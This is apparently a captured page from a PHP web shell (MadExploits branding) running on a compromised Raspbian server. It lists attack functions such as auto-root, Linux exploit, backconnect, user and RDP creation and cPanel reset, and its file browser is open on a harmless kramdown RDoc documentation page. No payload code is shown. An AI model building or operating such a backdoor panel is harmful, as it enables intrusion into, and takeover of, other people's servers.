Linux lorencats.com 5.10.103-v7l+ #1529 SMP Tue Mar 8 12:24:00 GMT 2022 armv7l
Apache/2.4.59 (Raspbian)
: 10.0.0.29 | : 216.73.216.130
Cant Read [ /etc/named.conf ]
7.3.31-1~deb10u7
root
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
doc /
ruby-kramdown /
rdoc /
Kramdown /
Utils /
[ HOME SHELL ]
Name
Size
Permission
Action
Entities
[ DIR ]
drwxr-xr-x
Configurable.html
6.66
KB
-rw-r--r--
Entities.html
5.71
KB
-rw-r--r--
Html.html
10.46
KB
-rw-r--r--
LRUCache.html
7.21
KB
-rw-r--r--
StringScanner.html
12.66
KB
-rw-r--r--
Unidecoder.html
3.9
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : Html.html
<!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <title>module Kramdown::Utils::Html - RDoc Documentation</title> <script type="text/javascript"> var rdoc_rel_prefix = "../../"; var index_rel_prefix = "../../"; </script> <script src="../../js/jquery.js"></script> <script src="../../js/darkfish.js"></script> <link href="../../css/fonts.css" rel="stylesheet"> <link href="../../css/rdoc.css" rel="stylesheet"> <body id="top" role="document" class="module"> <nav role="navigation"> <div id="project-navigation"> <div id="home-section" role="region" title="Quick navigation" class="nav-section"> <h2> <a href="../../index.html" rel="home">Home</a> </h2> <div id="table-of-contents-navigation"> <a href="../../table_of_contents.html#pages">Pages</a> <a href="../../table_of_contents.html#classes">Classes</a> <a href="../../table_of_contents.html#methods">Methods</a> </div> </div> <div id="search-section" role="search" class="project-section initially-hidden"> <form action="#" method="get" accept-charset="utf-8"> <div id="search-field-wrapper"> <input id="search-field" role="combobox" aria-label="Search" aria-autocomplete="list" aria-controls="search-results" type="text" name="search" placeholder="Search" spellcheck="false" title="Type to search, Up and Down to navigate, Enter to load"> </div> <ul id="search-results" aria-label="Search Results" aria-busy="false" aria-expanded="false" aria-atomic="false" class="initially-hidden"></ul> </form> </div> </div> <div id="class-metadata"> <!-- Method Quickref --> <div id="method-list-section" class="nav-section"> <h3>Methods</h3> <ul class="link-list" role="directory"> <li ><a href="#method-i-entity_to_str">#entity_to_str</a> <li ><a href="#method-i-escape_html">#escape_html</a> <li ><a href="#method-i-html_attributes">#html_attributes</a> </ul> </div> </div> </nav> <main role="main" aria-labelledby="module-Kramdown::Utils::Html"> <h1 id="module-Kramdown::Utils::Html" class="module"> module Kramdown::Utils::Html </h1> <section class="description"> <p>Provides convenience methods for HTML related tasks.</p> <p><strong>Note</strong> that this module has to be mixed into a class that has a @root (containing an element of type :root) and an @options (containing an options hash) instance variable so that some of the methods can work correctly.</p> </section> <section id="5Buntitled-5D" class="documentation-section"> <section id="public-instance-5Buntitled-5D-method-details" class="method-section"> <header> <h3>Public Instance Methods</h3> </header> <div id="method-i-entity_to_str" class="method-detail "> <div class="method-heading"> <span class="method-name">entity_to_str</span><span class="method-args">(e, original = nil)</span> <span class="method-click-advice">click to toggle source</span> </div> <div class="method-description"> <p>Convert the entity <code>e</code> to a string. The optional parameter <code>original</code> may contain the original representation of the entity.</p> <p>This method uses the option <code>entity_output</code> to determine the output form for the entity.</p> <div class="method-source-code" id="entity_to_str-source"> <pre><span class="ruby-comment"># File lib/kramdown/utils/html.rb, line 26</span> <span class="ruby-keyword">def</span> <span class="ruby-identifier ruby-title">entity_to_str</span>(<span class="ruby-identifier">e</span>, <span class="ruby-identifier">original</span> = <span class="ruby-keyword">nil</span>) <span class="ruby-identifier">entity_output</span> = <span class="ruby-ivar">@options</span>[<span class="ruby-value">:entity_output</span>] <span class="ruby-keyword">if</span> <span class="ruby-identifier">entity_output</span> <span class="ruby-operator">==</span> <span class="ruby-value">:as_char</span> <span class="ruby-operator">&&</span> (<span class="ruby-identifier">c</span> = <span class="ruby-identifier">e</span>.<span class="ruby-identifier">char</span>.<span class="ruby-identifier">encode</span>(<span class="ruby-ivar">@root</span>.<span class="ruby-identifier">options</span>[<span class="ruby-value">:encoding</span>]) <span class="ruby-keyword">rescue</span> <span class="ruby-keyword">nil</span>) <span class="ruby-operator">&&</span> ((<span class="ruby-identifier">c</span> = <span class="ruby-identifier">e</span>.<span class="ruby-identifier">char</span>) <span class="ruby-operator">==</span> <span class="ruby-string">'"'</span> <span class="ruby-operator">||</span> <span class="ruby-operator">!</span><span class="ruby-constant">ESCAPE_MAP</span>.<span class="ruby-identifier">has_key?</span>(<span class="ruby-identifier">c</span>)) <span class="ruby-identifier">c</span> <span class="ruby-keyword">elsif</span> (<span class="ruby-identifier">entity_output</span> <span class="ruby-operator">==</span> <span class="ruby-value">:as_input</span> <span class="ruby-operator">||</span> <span class="ruby-identifier">entity_output</span> <span class="ruby-operator">==</span> <span class="ruby-value">:as_char</span>) <span class="ruby-operator">&&</span> <span class="ruby-identifier">original</span> <span class="ruby-identifier">original</span> <span class="ruby-keyword">elsif</span> (<span class="ruby-identifier">entity_output</span> <span class="ruby-operator">==</span> <span class="ruby-value">:symbolic</span> <span class="ruby-operator">||</span> <span class="ruby-constant">ESCAPE_MAP</span>.<span class="ruby-identifier">has_key?</span>(<span class="ruby-identifier">e</span>.<span class="ruby-identifier">char</span>)) <span class="ruby-operator">&&</span> <span class="ruby-operator">!</span><span class="ruby-identifier">e</span>.<span class="ruby-identifier">name</span>.<span class="ruby-identifier">nil?</span> <span class="ruby-node">"&#{e.name};"</span> <span class="ruby-keyword">else</span> <span class="ruby-comment"># default to :numeric</span> <span class="ruby-node">"&##{e.code_point};"</span> <span class="ruby-keyword">end</span> <span class="ruby-keyword">end</span></pre> </div> </div> </div> <div id="method-i-escape_html" class="method-detail "> <div class="method-heading"> <span class="method-name">escape_html</span><span class="method-args">(str, type = :all)</span> <span class="method-click-advice">click to toggle source</span> </div> <div class="method-description"> <p>Escape the special HTML characters in the string <code>str</code>. The parameter <code>type</code> specifies what is escaped: :all - all special HTML characters except the quotation mark as well as entities, :text - all special HTML characters except the quotation mark but no entities and :attribute - all special HTML characters including the quotation mark but no entities.</p> <div class="method-source-code" id="escape_html-source"> <pre><span class="ruby-comment"># File lib/kramdown/utils/html.rb, line 68</span> <span class="ruby-keyword">def</span> <span class="ruby-identifier ruby-title">escape_html</span>(<span class="ruby-identifier">str</span>, <span class="ruby-identifier">type</span> = <span class="ruby-value">:all</span>) <span class="ruby-identifier">str</span>.<span class="ruby-identifier">gsub</span>(<span class="ruby-constant">ESCAPE_RE_FROM_TYPE</span>[<span class="ruby-identifier">type</span>]) {<span class="ruby-operator">|</span><span class="ruby-identifier">m</span><span class="ruby-operator">|</span> <span class="ruby-constant">ESCAPE_MAP</span>[<span class="ruby-identifier">m</span>] <span class="ruby-operator">||</span> <span class="ruby-identifier">m</span>} <span class="ruby-keyword">end</span></pre> </div> </div> </div> <div id="method-i-html_attributes" class="method-detail "> <div class="method-heading"> <span class="method-name">html_attributes</span><span class="method-args">(attr)</span> <span class="method-click-advice">click to toggle source</span> </div> <div class="method-description"> <p>Return the HTML representation of the attributes <code>attr</code>.</p> <div class="method-source-code" id="html_attributes-source"> <pre><span class="ruby-comment"># File lib/kramdown/utils/html.rb, line 43</span> <span class="ruby-keyword">def</span> <span class="ruby-identifier ruby-title">html_attributes</span>(<span class="ruby-identifier">attr</span>) <span class="ruby-identifier">attr</span>.<span class="ruby-identifier">map</span> {<span class="ruby-operator">|</span><span class="ruby-identifier">k</span>,<span class="ruby-identifier">v</span><span class="ruby-operator">|</span> <span class="ruby-identifier">v</span>.<span class="ruby-identifier">nil?</span> <span class="ruby-operator">||</span> (<span class="ruby-identifier">k</span> <span class="ruby-operator">==</span> <span class="ruby-string">'id'</span> <span class="ruby-operator">&&</span> <span class="ruby-identifier">v</span>.<span class="ruby-identifier">strip</span>.<span class="ruby-identifier">empty?</span>) <span class="ruby-operator">?</span> <span class="ruby-string">''</span> <span class="ruby-operator">:</span> <span class="ruby-node">" #{k}=\"#{escape_html(v.to_s, :attribute)}\""</span> }.<span class="ruby-identifier">join</span>(<span class="ruby-string">''</span>) <span class="ruby-keyword">end</span></pre> </div> </div> </div> </section> </section> </main> <footer id="validator-badges" role="contentinfo"> <p><a href="https://validator.w3.org/check/referer">Validate</a> <p>Generated by <a href="https://ruby.github.io/rdoc/">RDoc</a> 6.0.1. <p>Based on <a href="http://deveiate.org/projects/Darkfish-RDoc/">Darkfish</a> by <a href="http://deveiate.org">Michael Granger</a>. </footer>
Close